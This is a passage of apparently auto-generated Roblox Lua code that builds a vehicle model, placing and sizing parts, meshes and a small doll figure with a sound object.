  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.451852)
  Vehicle_Part.CFrame = CFrame.new(-40.138428,5.334615,182.615250) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.451852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.051852,1.968891,2.031854)
  Vehicle_Part.CFrame = CFrame.new(-32.091400,5.852404,176.722809) * CFrame.Angles(-0.000017,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 1.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Doll = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Doll.Name = &quot;Doll&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.051852,1.968891,2.031854)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle4 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle4.Name = &quot;Handle4&quot;
  Vehicle_Doll_Handle4.formFactor = compatibility
  Vehicle_Doll_Handle4.Anchored = true
  Vehicle_Doll_Handle4.Size       = Vector3.new(0.242110,0.632946,0.242110)
  Vehicle_Doll_Handle4.CFrame = CFrame.new(-35.843643,4.489206,180.928482) * CFrame.Angles(-0.000421,0.274693,-0.719767)
  Vehicle_Doll_Handle4.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Handle4.Transparency = 1.000000
  Vehicle_Doll_Handle4.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle4:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle4)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.242110,0.632946,0.242110)
      Vehicle_Doll_Handle4.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle5 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle5.Name = &quot;Handle5&quot;
  Vehicle_Doll_Handle5.formFactor = compatibility
  Vehicle_Doll_Handle5.Anchored = true
  Vehicle_Doll_Handle5.Size       = Vector3.new(0.259404,0.501514,0.231734)
  Vehicle_Doll_Handle5.CFrame = CFrame.new(-35.584137,3.918427,180.855652) * CFrame.Angles(-0.000421,0.274695,-0.000182)
  Vehicle_Doll_Handle5.BrickColor = BrickColor.new(1003)
  Vehicle_Doll_Handle5.Transparency = 1.000000
  Vehicle_Doll_Handle5.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle5:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle5)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.259404,0.501514,0.231734)
      Vehicle_Doll_Handle5.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle7 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle7.Name = &quot;Handle7&quot;
  Vehicle_Doll_Handle7.formFactor = compatibility
  Vehicle_Doll_Handle7.Anchored = true
  Vehicle_Doll_Handle7.Size       = Vector3.new(0.242110,0.632946,0.242110)
  Vehicle_Doll_Handle7.CFrame = CFrame.new(-35.004868,4.488945,180.691895) * CFrame.Angles(3.141173,-0.274693,2.422184)
  Vehicle_Doll_Handle7.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Handle7.Transparency = 1.000000
  Vehicle_Doll_Handle7.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle7:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle7)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.242110,0.632946,0.242110)
      Vehicle_Doll_Handle7.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle8 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle8.Name = &quot;Handle8&quot;
  Vehicle_Doll_Handle8.formFactor = compatibility
  Vehicle_Doll_Handle8.Anchored = true
  Vehicle_Doll_Handle8.Size       = Vector3.new(0.259404,0.501514,0.231734)
  Vehicle_Doll_Handle8.CFrame = CFrame.new(-35.241356,3.918358,180.758865) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Handle8.BrickColor = BrickColor.new(1003)
  Vehicle_Doll_Handle8.Transparency = 1.000000
  Vehicle_Doll_Handle8.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle8:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle8)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.259404,0.501514,0.231734)
      Vehicle_Doll_Handle8.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Music = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Music.Name = &quot;Music&quot;
  Vehicle_Doll_Music.formFactor = compatibility
  Vehicle_Doll_Music.Anchored = true
  Vehicle_Doll_Music.Size       = Vector3.new(0.657157,0.657157,0.311285)
  Vehicle_Doll_Music.CFrame = CFrame.new(-35.413757,4.482175,180.809143) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Music.BrickColor = BrickColor.new(1002)
  Vehicle_Doll_Music.Transparency = 1.000000
  Vehicle_Doll_Music.CanCollide = false
  Vehicle_Doll_Music_Baby = Instance.new(&apos;Sound&apos;, Vehicle_Doll_Music)
  Vehicle_Doll_Music_Baby.Name = &quot;Baby&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Music:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Music)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.657157,0.657157,0.311285)
      Vehicle_Doll_Music.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Cap = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Cap.Name = &quot;Cap&quot;
  Vehicle_Doll_Cap.formFactor = compatibility
  Vehicle_Doll_Cap.Anchored = true
  Vehicle_Doll_Cap.Size       = Vector3.new(1.200000,1.000000,1.600000)
  Vehicle_Doll_Cap.CFrame = CFrame.new(-35.426956,5.712903,180.793777) * CFrame.Angles(-0.000420,0.274692,-0.000180)
  Vehicle_Doll_Cap.BrickColor = BrickColor.new(194)
  Vehicle_Doll_Cap.Transparency = 1.000000
  Vehicle_Doll_Cap.CanCollide = false
  Vehicle_Doll_Cap_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Cap)
  Vehicle_Doll_Cap_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Cap_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Doll_Cap_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=13030731&quot;
  Vehicle_Doll_Cap_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=13369097&quot;
  Vehicle_Doll_Cap_Mesh.Scale     = Vector3.new(0.700000,0.700000,0.700000)
  Vehicle_Doll_Head = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Head.Name = &quot;Head&quot;
  Vehicle_Doll_Head.formFactor = compatibility
  Vehicle_Doll_Head.Anchored = true
  Vehicle_Doll_Head.Size       = Vector3.new(0.345872,0.345872,0.345872)
  Vehicle_Doll_Head.CFrame = CFrame.new(-35.419693,5.222333,180.787155) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Head.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Head.Transparency = 1.000000
  Vehicle_Doll_Head.CanCollide = false
  Vehicle_Doll_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Head)
  Vehicle_Doll_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Doll_Head_Mesh.Scale     = Vector3.new(2.500000,2.500000,2.500000)
  Vehicle_Doll_Head_face = Instance.new(&apos;Decal&apos;, Vehicle_Doll_Head)
  Vehicle_Doll_Head_face.Name = &quot;face&quot;
  Vehicle_Doll_Head_face.Texture = &quot;rbxassetid://46191660&quot;
  Vehicle_Doll_Head_face.Face    = Enum.NormalId.Front
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Head:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Head)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.345872,0.345872,0.345872)
      Vehicle_Doll_Head.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Hair = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Hair.Name = &quot;Hair&quot;
  Vehicle_Doll_Hair.formFactor = compatibility
  Vehicle_Doll_Hair.Anchored = true
  Vehicle_Doll_Hair.Size       = Vector3.new(1.200000,1.000000,1.600000)
  Vehicle_Doll_Hair.CFrame = CFrame.new(-35.426956,5.712903,180.793777) * CFrame.Angles(-0.000420,0.274692,-0.000180)
  Vehicle_Doll_Hair.BrickColor = BrickColor.new(194)
  Vehicle_Doll_Hair.Transparency = 1.000000
  Vehicle_Doll_Hair.CanCollide = false
  Vehicle_Doll_Hair_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Hair)
  Vehicle_Doll_Hair_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Hair_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Doll_Hair_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=19999424&quot;
  Vehicle_Doll_Hair_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=26400954&quot;
  Vehicle_Doll_Hair_Mesh.Scale     = Vector3.new(0.700000,0.700000,0.700000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.082964,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.517807,2.055528,176.319153) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.082964,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.888894,5.055556,0.055556)
  Vehicle_Part.CFrame = CFrame.new(-29.559059,5.092047,179.593109) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.888894,5.055556,0.055556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(12.592543,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-35.631039,7.727124,182.615219) * CFrame.Angles(-3.141593,0.000000,-3.141593)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(12.592543,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288898,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-28.957033,7.727091,179.593094) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288898,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(12.592604,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-35.631073,7.727124,176.570923) * CFrame.Angles(-0.000000,0.000000,-0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(12.592604,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.847068,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-42.051331,7.727204,179.620453) * CFrame.Angles(1.570812,-0.000017,1.575059)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.847068,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288879,1.780428,1.851949)
  Vehicle_Part.CFrame = CFrame.new(-29.757534,2.177689,179.593109) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296135,1.180428,2.154031)
  Vehicle_Part.CFrame = CFrame.new(-30.411768,2.477689,179.593140) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.503650,1.291557)
  Vehicle_Part.CFrame = CFrame.new(-41.587730,2.816078,179.593201) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.503650,1.291557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.603650,1.537539)
  Vehicle_Part.CFrame = CFrame.new(-42.921436,2.766078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.603650,1.537539)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,1.005449,0.755489)
  Vehicle_Part.CFrame = CFrame.new(-40.564209,2.061511,179.593201) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,1.005449,0.755489)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.346240,1.007852,1.537539)
  Vehicle_Part.CFrame = CFrame.new(-43.950386,2.060294,179.568207) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.753650,2.187540)
  Vehicle_Part.CFrame = CFrame.new(-32.246437,2.691078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.753650,2.187540)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,1.103650,1.137540)
  Vehicle_Part.CFrame = CFrame.new(-33.321438,2.116078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.087357,0.503690,0.508171)
  Vehicle_Part.CFrame = CFrame.new(-29.080660,4.576154,176.696777) * CFrame.Angles(-1.570796,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.087357,0.503690,0.508171)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.794394,1.402852,2.867540)
  Vehicle_Part.CFrame = CFrame.new(-44.829021,3.240459,179.594086) * CFrame.Angles(-1.570796,0.523601,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.252000,1.373000,1.511000)
  Vehicle_Part.CFrame = CFrame.new(-42.934998,5.014002,177.778015) * CFrame.Angles(-0.000000,0.000000,0.261799)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
